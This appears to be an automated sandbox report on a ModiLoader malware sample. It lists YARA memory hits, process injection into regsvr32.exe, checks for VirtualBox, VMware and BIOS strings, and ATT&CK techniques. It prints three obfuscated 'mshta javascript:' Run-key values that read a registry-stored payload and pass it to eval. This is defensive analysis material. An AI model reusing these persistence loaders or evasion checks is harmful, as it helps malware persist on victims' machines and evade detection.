modiloader | 898ef95a6e90a7323b47c78f82ffb493c725a6d2f71e0e501be855d09a6fe60f

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

ModiLoader Second Stage 38 IoCs

resource	yara_rule
behavioral2/memory/1672-4-0x0000000000400000-0x000000000049B000-memory.dmp	modiloader_stage2
behavioral2/memory/1672-6-0x00000000006E0000-0x00000000007AC000-memory.dmp	modiloader_stage2
behavioral2/memory/1672-7-0x00000000006E0000-0x00000000007AC000-memory.dmp	modiloader_stage2
behavioral2/memory/1672-10-0x00000000006E0000-0x00000000007AC000-memory.dmp	modiloader_stage2
behavioral2/memory/1672-9-0x00000000006E0000-0x00000000007AC000-memory.dmp	modiloader_stage2
behavioral2/memory/1672-8-0x00000000006E0000-0x00000000007AC000-memory.dmp	modiloader_stage2
behavioral2/memory/1672-11-0x00000000006E0000-0x00000000007AC000-memory.dmp	modiloader_stage2
behavioral2/memory/1672-17-0x0000000000400000-0x000000000049B000-memory.dmp	modiloader_stage2
behavioral2/memory/2592-22-0x0000000000730000-0x00000000007FC000-memory.dmp	modiloader_stage2
behavioral2/memory/2592-25-0x0000000000730000-0x00000000007FC000-memory.dmp	modiloader_stage2
behavioral2/memory/2592-24-0x0000000000730000-0x00000000007FC000-memory.dmp	modiloader_stage2
behavioral2/memory/2592-23-0x0000000000730000-0x00000000007FC000-memory.dmp	modiloader_stage2
behavioral2/memory/2592-26-0x0000000000730000-0x00000000007FC000-memory.dmp	modiloader_stage2
behavioral2/memory/2592-27-0x0000000000730000-0x00000000007FC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-38-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-42-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-43-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-41-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-40-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-39-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-48-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-47-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-51-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-52-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-50-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-49-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-46-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-45-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-44-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/5004-57-0x0000000000800000-0x00000000008CC000-memory.dmp	modiloader_stage2
behavioral2/memory/5004-58-0x0000000000800000-0x00000000008CC000-memory.dmp	modiloader_stage2
behavioral2/memory/5004-62-0x0000000000800000-0x00000000008CC000-memory.dmp	modiloader_stage2
behavioral2/memory/5004-61-0x0000000000800000-0x00000000008CC000-memory.dmp	modiloader_stage2
behavioral2/memory/5004-60-0x0000000000800000-0x00000000008CC000-memory.dmp	modiloader_stage2
behavioral2/memory/5004-59-0x0000000000800000-0x00000000008CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-63-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/4428-64-0x0000000000600000-0x00000000006CC000-memory.dmp	modiloader_stage2
behavioral2/memory/2656-69-0x0000000000310000-0x00000000003DC000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:v5JJZyGCL=\"rY\";k24f=new%20ActiveXObject(\"WScript.Shell\");I8BGKtDW=\"Z\";IqM8o=k24f.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\84f51283c0\\\\d3c9d114\");jLUUAIN0=\"GBFqQntw\";eval(IqM8o);oFElOo20D=\"3\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

pid	Process
4428	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:lhQVHhrH3=\"f\";L2D=new%20ActiveXObject(\"WScript.Shell\");ppsU2CXXk=\"89LqDic\";ur3Fe=L2D.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\84f51283c0\\\\d3c9d114\");jZ2PY0Iw=\"AHvJHw\";eval(ur3Fe);c3tJJOa=\"0wP8zPbNmk\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:FEw85cghO=\"2sxAfgaM8\";vw83=new%20ActiveXObject(\"WScript.Shell\");PUzyJBF8=\"g\";d64hZJ=vw83.RegRead(\"HKCU\\\\software\\\\84f51283c0\\\\d3c9d114\");Sh7rb4TH=\"033zIVAHI\";eval(d64hZJ);sXomaC4=\"xbqcTv\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\International	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
1672	b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe
1672	b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe
1672	b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe
2592	regsvr32.exe
2592	regsvr32.exe
2592	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe
4428	regsvr32.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 2592	1672	b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe	81
PID 1672 wrote to memory of 2592	1672	b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe	81
PID 1672 wrote to memory of 2592	1672	b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe	81
PID 2592 wrote to memory of 4428	2592	regsvr32.exe	82
PID 2592 wrote to memory of 4428	2592	regsvr32.exe	82
PID 2592 wrote to memory of 4428	2592	regsvr32.exe	82
PID 4428 wrote to memory of 5004	4428	regsvr32.exe	83
PID 4428 wrote to memory of 5004	4428	regsvr32.exe	83
PID 4428 wrote to memory of 5004	4428	regsvr32.exe	83
PID 4428 wrote to memory of 2656	4428	regsvr32.exe	84
PID 4428 wrote to memory of 2656	4428	regsvr32.exe	84
PID 4428 wrote to memory of 2656	4428	regsvr32.exe	84

C:\Users\Admin\AppData\Local\Temp\b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe"
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\SysWOW64\regsvr32.exe
  regsvr32.exe
  2⤵
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2592
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Adds policy Run key to start application
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Deletes itself
    - Adds Run key to start application
    - Maps connected drives based on registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:4428
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      PID:5004
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      PID:2656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

Virtualization/Sandbox Evasion